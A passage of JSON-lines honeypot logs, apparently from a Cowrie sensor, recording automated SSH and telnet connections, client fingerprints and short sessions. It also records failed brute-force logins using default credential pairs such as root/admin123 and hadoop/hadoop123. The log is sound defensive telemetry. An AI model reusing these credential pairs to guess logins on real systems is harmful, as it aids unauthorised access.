{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:42.768526Z","src_ip":"8.219.200.1","session":"9c29884fe5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59038,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c575bcbe45c","protocol":"ssh","message":"New connection: 91.92.42.227:59038 (10.17.0.5:22) [session: 9c575bcbe45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:43.996969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:44.264399Z","src_ip":"91.92.42.227","session":"9c575bcbe45c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:44.269284Z","src_ip":"91.92.42.227","session":"9c575bcbe45c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:45.861123Z","src_ip":"91.92.42.227","session":"9c575bcbe45c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54894,"dst_ip":"159.203.135.109","dst_port":22,"session":"5117665a74c8","protocol":"ssh","message":"New connection: 80.94.92.184:54894 (159.203.135.109:22) [session: 5117665a74c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.156426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.378812Z","src_ip":"80.94.92.184","session":"5117665a74c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.516755Z","src_ip":"80.94.92.184","session":"5117665a74c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45620,"dst_ip":"10.17.0.5","dst_port":22,"session":"601250cc5513","protocol":"ssh","message":"New connection: 45.156.87.147:45620 (10.17.0.5:22) [session: 601250cc5513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.793783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.797268Z","src_ip":"45.156.87.147","session":"601250cc5513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:46.878904Z","src_ip":"45.156.87.147","session":"601250cc5513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:47.137676Z","src_ip":"45.156.87.147","session":"601250cc5513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:47.561378Z","src_ip":"91.92.42.227","session":"9c575bcbe45c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:48.209378Z","src_ip":"80.94.92.184","session":"5117665a74c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:48.229267Z","src_ip":"45.156.87.147","session":"601250cc5513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:49.673557Z","src_ip":"80.94.92.184","session":"5117665a74c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43812,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f45c296f7a7","protocol":"telnet","message":"New connection: 172.81.62.90:43812 (159.203.135.109:23) [session: 1f45c296f7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:50.557829Z"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:51.009596Z","src_ip":"8.219.200.1","session":"9c29884fe5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c6023b1059","protocol":"ssh","message":"New connection: 91.92.42.227:44748 (10.17.0.5:22) [session: d6c6023b1059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:51.423182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:51.464032Z","src_ip":"91.92.42.227","session":"d6c6023b1059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:51.520703Z","src_ip":"91.92.42.227","session":"d6c6023b1059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:52.254899Z","src_ip":"8.219.200.1","session":"9c29884fe5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:52.844797Z","src_ip":"91.92.42.227","session":"d6c6023b1059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56594,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f971a2be35c","protocol":"ssh","message":"New connection: 45.156.87.147:56594 (10.17.0.5:22) [session: 9f971a2be35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:53.244457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:53.248122Z","src_ip":"45.156.87.147","session":"9f971a2be35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:53.332753Z","src_ip":"45.156.87.147","session":"9f971a2be35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:53.579318Z","src_ip":"45.156.87.147","session":"9f971a2be35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:54.179530Z","src_ip":"91.92.42.227","session":"d6c6023b1059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:54.665793Z","src_ip":"45.156.87.147","session":"9f971a2be35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43430,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f5de641f8e","protocol":"ssh","message":"New connection: 91.92.42.227:43430 (10.17.0.5:22) [session: 91f5de641f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:57.953991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:58.399347Z","src_ip":"91.92.42.227","session":"91f5de641f8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:58.402583Z","src_ip":"91.92.42.227","session":"91f5de641f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38740,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b7affb43e79","protocol":"ssh","message":"New connection: 45.156.87.147:38740 (10.17.0.5:22) [session: 0b7affb43e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:59.699119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:59.705003Z","src_ip":"45.156.87.147","session":"0b7affb43e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:57:59.787204Z","src_ip":"45.156.87.147","session":"0b7affb43e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1","message":"login attempt [rocky/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:00.038341Z","src_ip":"45.156.87.147","session":"0b7affb43e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:00.312571Z","src_ip":"91.92.42.227","session":"91f5de641f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:01.124879Z","src_ip":"45.156.87.147","session":"0b7affb43e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:01.805384Z","src_ip":"91.92.42.227","session":"91f5de641f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02756e1545d","protocol":"ssh","message":"New connection: 91.92.42.227:60418 (10.17.0.5:22) [session: c02756e1545d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:04.996768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:58:05.743263Z","src_ip":"91.92.42.227","session":"c02756e1545d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-